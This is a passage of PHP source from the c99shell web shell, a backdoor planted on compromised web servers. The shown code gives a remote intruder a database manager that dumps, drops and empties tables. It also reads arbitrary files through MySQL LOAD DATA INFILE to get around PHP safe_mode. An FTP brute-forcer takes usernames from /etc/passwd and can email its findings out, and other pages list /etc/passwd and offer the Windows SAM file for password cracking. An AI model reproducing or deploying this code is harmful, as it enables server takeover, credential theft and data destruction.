1084      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
1085      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
1086      $v = join (";",$dmptbls);
1087      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
1088      if ($dump_file) {$tmp = $dump_file;}
1089      else {$tmp = htmlspecialchars("./dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
1090      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
1091      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
1092      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
1093      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
1094      echo "</form>";
1095     }
1096     else
1097     {
1098      $diplay = true;
1099      $set = array();
1100      $set["sock"] = $sql_sock;
1101      $set["db"] = $sql_db;
1102      $dump_out = "download";
1103      $set["print"] = 0;
1104      $set["nl2br"] = 0;
1105      $set[""] = 0;
1106      $set["file"] = $dump_file;
1107      $set["add_drop"] = true;
1108      $set["onlytabs"] = array();
1109      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
1110      $ret = mysql_dump($set);
1111      if ($sql_dump_download)
1112      {
1113       @ob_clean();
1114       header("Content-type: application/octet-stream");
1115       header("Content-length: ".strlen($ret));
1116       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); 
1117       echo $ret;
1118       exit;
1119      }
1120      elseif ($sql_dump_savetofile)
1121      {
1122       $fp = fopen($sql_dump_file,"w");
1123       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
1124       else
1125       {
1126        fwrite($fp,$ret);
1127        fclose($fp);
1128        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
1129       }
1130      }
1131      else {echo "<b>Dump: nothing to do!</b>";}
1132     }
1133    }
1134    if ($diplay)
1135    {
1136     if (!empty($sql_tbl))
1137     {
1138      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
1139      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
1140      $count_row = mysql_fetch_array($count);
1141      mysql_free_result($count);     
1142      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
1143      $tbl_struct_fields = array();
1144      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}     
1145      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
1146      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
1147      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
1148      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
1149      $perpage = $sql_tbl_le - $sql_tbl_ls;
1150      if (!is_numeric($perpage)) {$perpage = 10;}
1151      $numpages = $count_row[0]/$perpage; 
1152      $e = explode(" ",$sql_order);
1153      if (count($e) == 2)
1154      {
1155       if ($e[0] == "d") {$asc_desc = "DESC";}
1156       else {$asc_desc = "ASC";}
1157       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
1158      }
1159      else {$v = "";}
1160      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
1161      $result = mysql_query($query) or print(mysql_smarterror());
1162      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
1163      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1164      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1165      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1166      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1167      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
1168      if ($sql_tbl_act == "insert")
1169      {
1170       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
1171       if (!empty($sql_tbl_insert_radio))
1172       {
1173 
1174       }
1175       else
1176       {
1177        echo "<br><br><b>Inserting row into table:</b><br>";
1178        if (!empty($sql_tbl_insert_q))
1179        {
1180         $sql_query = "SELECT * FROM `".$sql_tbl."`";
1181         $sql_query .= " WHERE".$sql_tbl_insert_q;
1182         $sql_query .= " LIMIT 1;";
1183         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
1184         $values = mysql_fetch_assoc($result);
1185         mysql_free_result($result);
1186        }
1187        else {$values = array();}
1188        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
1189        foreach ($tbl_struct_fields as $field)
1190        {
1191         $name = $field["Field"];
1192         if (empty($sql_tbl_insert_q)) {$v = "";}
1193         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
1194         $i++;
1195        }
1196        echo "</table><br>";
1197        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
1198        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
1199        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
1200       }
1201      }
1202      if ($sql_tbl_act == "browse")
1203      {
1204       $sql_tbl_ls = abs($sql_tbl_ls);
1205       $sql_tbl_le = abs($sql_tbl_le);
1206       echo "<hr size=\"1\" noshade>";
1207       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
1208       $b = 0;
1209       for($i=0;$i<$numpages;$i++)
1210       {
1211        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
1212        echo $i;
1213        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
1214        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
1215        else {echo "&nbsp;";}
1216       }
1217       if ($i == 0) {echo "empty";}
1218       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
1219       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
1220       echo "<tr>";
1221       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
1222       for ($i=0;$i<mysql_num_fields($result);$i++)
1223       {
1224        $v = mysql_field_name($result,$i);
1225        if ($e[0] == "a") {$s = "d"; $m = "asc";}
1226        else {$s = "a"; $m = "desc";}
1227        echo "<td>";
1228        if (empty($e[0])) {$e[0] = "a";}
1229        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
1230        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
1231        echo "</td>";
1232       }
1233       echo "<td><font color=\"green\"><b>Action</b></font></td>";
1234       echo "</tr>";
1235       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1236       {
1237        echo "<tr>";
1238        $w = "";
1239        $i = 0;
1240        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
1241        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
1242        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
1243        $i = 0;
1244        foreach ($row as $k=>$v)
1245        {
1246         $v = htmlspecialchars($v);
1247         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
1248         echo "<td>".$v."</td>";
1249         $i++;
1250        }
1251        echo "<td>";
1252        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
1253        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
1254        echo "</td>";
1255        echo "</tr>";
1256       }
1257       mysql_free_result($result);
1258       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
1259       echo "<option value=\"\">With selected:</option>";
1260       echo "<option value=\"deleterow\">Delete</option>";
1261       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
1262      }
1263     }
1264     else
1265     {
1266      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1267      if (!$result) {echo mysql_smarterror();}
1268      else
1269      {
1270       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
1271       $i = 0;
1272       $tsize = $trows = 0;
1273       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1274       {
1275        $tsize += $row["Data_length"];
1276        $trows += $row["Rows"];
1277        $size = view_size($row["Data_length"]);
1278        echo "<tr>";
1279        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
1280        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
1281        echo "<td>".$row["Rows"]."</td>";
1282        echo "<td>".$row["Type"]."</td>";
1283        echo "<td>".$row["Create_time"]."</td>";
1284        echo "<td>".$row["Update_time"]."</td>";
1285        echo "<td>".$size."</td>";
1286        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
1287        echo "</tr>";
1288        $i++;
1289       }
1290       echo "<tr bgcolor=\"000000\">";
1291       echo "<td><center><b>»</b></center></td>";
1292       echo "<td><center><b>".$i." table(s)</b></center></td>";
1293       echo "<td><b>".$trows."</b></td>";
1294       echo "<td>".$row[1]."</td>";
1295       echo "<td>".$row[10]."</td>";
1296       echo "<td>".$row[11]."</td>";
1297       echo "<td><b>".view_size($tsize)."</b></td>";
1298       echo "<td></td>";
1299       echo "</tr>";
1300       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
1301       echo "<option value=\"\">With selected:</option>";
1302       echo "<option value=\"tbldrop\">Drop</option>";
1303       echo "<option value=\"tblempty\">Empty</option>";
1304       echo "<option value=\"tbldump\">Dump</option>";
1305       echo "<option value=\"tblcheck\">Check table</option>";
1306       echo "<option value=\"tbloptimize\">Optimize table</option>";
1307       echo "<option value=\"tblrepair\">Repair table</option>";
1308       echo "<option value=\"tblanalyze\">Analyze table</option>";
1309       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
1310       mysql_free_result($result);
1311      }
1312     }
1313    }
1314    }
1315   }
1316   else
1317   {
1318    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
1319    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
1320    if (!empty($sql_act))
1321    {
1322     echo "<hr size=\"1\" noshade>";
1323     if ($sql_act == "newdb")
1324     {
1325      echo "<b>";
1326      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1327      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1328     }
1329     if ($sql_act == "serverstatus")
1330     {
1331      $result = mysql_query("SHOW STATUS", $sql_sock); 
1332      echo "<center><b>Server-status variables:</b><br><br>";
1333      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1334      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} 
1335      echo "</table></center>";
1336      mysql_free_result($result);
1337     }
1338     if ($sql_act == "servervars")
1339     {
1340      $result = mysql_query("SHOW VARIABLES", $sql_sock); 
1341      echo "<center><b>Server variables:</b><br><br>";
1342      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1343      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} 
1344      echo "</table>";
1345      mysql_free_result($result);
1346     }
1347     if ($sql_act == "processes")
1348     {
1349      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
1350      $result = mysql_query("SHOW PROCESSLIST", $sql_sock); 
1351      echo "<center><b>Processes:</b><br><br>";
1352      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
1353      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1354      echo "</table>";
1355      mysql_free_result($result);
1356     }
1357     if ($sql_act == "getfile")
1358     {
1359      $tmpdb = $sql_login."_tmpdb";
1360      $select = mysql_select_db($tmpdb);
1361      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1362      if ($select)
1363      {
1364       $created = false;
1365       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1366       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1367       $result = mysql_query("SELECT * FROM tmp_file;");
1368       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1369       else
1370       {
1371        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
1372        $f = ""; 
1373        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
1374        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1375        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1376        mysql_free_result($result);
1377        mysql_query("DROP TABLE tmp_file;");
1378       }
1379      }
1380      mysql_drop_db($tmpdb); //comment it if you want to leave database
1381     }
1382    }
1383   }
1384  }
1385  echo "</td></tr></table>";
1386  if ($sql_sock)
1387  {
1388   $affected = @mysql_affected_rows($sql_sock);
1389   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
1390   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
1391  }
1392  echo "</table>";
1393 }
1394 if ($act == "mkdir")
1395 {
1396  if ($mkdir != $d)
1397  {
1398   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
1399   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
1400   echo "<br><br>";
1401  }
1402  $act = $dspact = "ls";
1403 }
1404 if ($act == "ftpquickbrute")
1405 {
1406  echo "<b>Ftp Quick brute:</b><br>";
1407  if (!win) {echo "This functions not work in Windows!<br><br>";}
1408  else
1409  {
1410   function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
1411   {
1412    if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));}
1413    else {$true = true;}
1414    if ($true)
1415    {
1416     $sock = @ftp_connect($host,$port,$timeout);
1417     if (@ftp_login($sock,$login,$pass))
1418     {
1419      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
1420      ob_flush();
1421      return true;
1422     }
1423    }
1424   }
1425   if (!empty($submit))
1426   {
1427    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1428    $fp = fopen("/etc/passwd","r");
1429    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1430    else
1431    {
1432     if ($fqb_logging)
1433     {
1434      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1435      else {$fqb_logfp = false;}
1436      $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
1437      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1438     }
1439     ob_flush();
1440     $i = $success = 0;
1441     $ftpquick_st = getmicrotime();
1442     while(!feof($fp))
1443     { 
1444      $str = explode(":",fgets($fp,2048));
1445      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
1446      {
1447       echo "<b>Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1448       $fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
1449       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1450       $success++;
1451       ob_flush();
1452      }
1453      if ($i > $fqb_lenght) {break;}
1454      $i++;
1455     } 
1456     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
1457     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1458     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1459     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
1460     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1461     if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
1462     fclose($fqb_logfp);
1463    }
1464   }
1465   else
1466   {
1467    $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1468    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1469    echo "<form method=\"POST\"><br>Read first: <input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Brute\"></form>";
1470   }
1471  }
1472 }
1473 if ($act == "d")
1474 {
1475  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
1476  else
1477  {
1478   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
1479   if (!$win)
1480   {
1481    echo "<tr><td><b>Owner/Group</b></td><td> ";      
1482    $tmp = posix_getpwuid(fileowner($d));
1483    if ($tmp["name"] == "") {echo fileowner($d)."/";}
1484    else {echo $tmp["name"]."/";}
1485    $tmp = posix_getgrgid(filegroup($d));
1486    if ($tmp["name"] == "") {echo filegroup($d);}
1487    else {echo $tmp["name"];}
1488   }
1489   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
1490  }
1491 }
1492 if ($act == "phpinfo") {@ob_clean(); phpinfo(); exit;}
1493 if ($act == "security")
1494 {
1495  echo "<center><b>Server security information:</b></center><b>Software:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br><b>Safe-Mode: ".$hsafemode."</b><br><b>Open base dir: ".$hopenbasedir."</b><br>";
1496  if (!$win)
1497  {
1498   if ($nixpasswd)
1499   {
1500    if ($nixpasswd == 1) {$nixpasswd = 0;}
1501    echo "<b>*nix /etc/passwd:</b><br>";
1502    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
1503    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
1504    echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"security\"><input type=\"hidden\" name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=\"submit\" value=\"View\"></form><br>";
1505    $i = $nixpwd_s;
1506    while ($i < $nixpwd_e)
1507    {
1508     $uid = posix_getpwuid($i);
1509     if ($uid)
1510     {
1511      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
1512      echo join(":",$uid)."<br>";
1513     }
1514     $i++;
1515    }
1516   }
1517   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
1518  }
1519  else
1520  {
1521   $v = $_SERVER["WINDIR"]."\repair\sam";
1522   if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";}
1523   else {echo "<b><font color=\"green\">You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
